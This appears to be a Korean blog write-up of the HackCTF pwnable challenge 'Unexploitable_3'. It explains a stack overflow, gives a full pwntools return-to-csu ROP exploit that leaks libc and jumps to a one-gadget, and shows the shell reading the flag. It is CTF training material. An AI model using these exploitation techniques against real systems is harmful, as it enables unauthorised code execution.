[HackCTF / pwnable] Unexploitable_3

2019. 12. 9. 09:27Wargame & CTF/HackCTF

HackCTF - Unexploitable_3

Summary

  • 64bit

  • rtc

Analysis

int __cdecl main(int argc, const char **argv, const char **envp)
{
 char s; // [rsp+0h] [rbp-10h]

 setvbuf(stdout, 0LL, 2, 0LL);
 setvbuf(stdin, 0LL, 2, 0LL);
 fwrite("Impossible RTL ha? Nothing for you!\n", 1uLL, 0x24uLL, stdout);
 fgets(&s, 256, stdin);
 return 0;
}

fgets로 s에 입력을받아서 오버플로우가 생긴다. fwrite로 setvbuf의 주소를 출력하고 oneshot가젯을 쓰면 된다.

return to csu로는 3개 인자셋팅밖에 할 수 없다. 그래서 가젯들을 보니 mov rcx, qword ptr [rdi] ; ret 가젯이 있다. 이거를 사용해서 fwrite의 4번째 인자를 셋팅해 주면 된다.

Exploit

from pwn import *

e = ELF("./Unexploitable_3")
#p = process("./Unexploitable_3")
p = remote("ctf.j0n9hyun.xyz", 3034)
libc = e.libc

oneshot = 0x45216;
pop_rdi_ret = 0x0000000000400743
gadget = 0x0000000000400658 # mov rcx, qword ptr [rdi] ; ret

p.recvuntil("Impossible RTL ha? Nothing for you!\n")

pause()

payload = ""
payload += "A"*(0x10+0x8)

#fwrite(e.got["setvbuf"], 1, 8, stdout);
payload += p64(pop_rdi_ret)
payload += p64(e.symbols["stdout"])
payload += p64(gadget)

payload += p64(e.symbols["__libc_csu_init"]+90)
payload += p64(0x0)
payload += p64(0x1)
payload += p64(e.got["fwrite"])
payload += p64(0x8)
payload += p64(0x1)
payload += p64(e.got["setvbuf"])

payload += p64(e.symbols["__libc_csu_init"]+64)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)

payload += p64(e.symbols["main"])

p.sendline(payload)

setvbuf_add = u64(p.recvuntil("\x7f")[-6:] + "\x00\x00")
libc_base = setvbuf_add - libc.symbols["setvbuf"]

payload = ""
payload += "A"*(0x10+0x8)
payload += p64(libc_base + oneshot)

p.sendline(payload)

p.interactive()

Flag

cg10036@cg10036-virtual-machine:~/CTF/hackCTF/Unexploitable_3$ p ex.py 
[*] '/home/cg10036/CTF/hackCTF/Unexploitable_3/Unexploitable_3'
  Arch:     amd64-64-little
  RELRO:   Partial RELRO
  Stack:   No canary found
  NX:       NX enabled
  PIE:     No PIE (0x400000)
[+] Opening connection to ctf.j0n9hyun.xyz on port 3034: Done
[*] '/lib/x86_64-linux-gnu/libc.so.6'
  Arch:     amd64-64-little
  RELRO:   Partial RELRO
  Stack:   Canary found
  NX:       NX enabled
  PIE:     PIE enabled
[*] Paused (press any to continue)
[*] Switching to interactive mode
\x00\x00Impossible RTL ha? Nothing for you!
$ cat flag
HackCTF{bss_4lw4y5_h4s_std1n/std0ut}


'Wargame & CTF > HackCTF' 카테고리의 다른 글

[HackCTF / pwnable] j0n9hyun secret  (0) 2020.06.10
[HackCTF / pwnable] World best encryption tool  (0) 2020.06.10
[HackCTF / pwnable] Beginner_Heap  (0) 2019.11.26
[HackCTF / pwnable] SysROP  (0) 2019.10.28
[HackCTF / pwnable] RTC  (0) 2019.10.22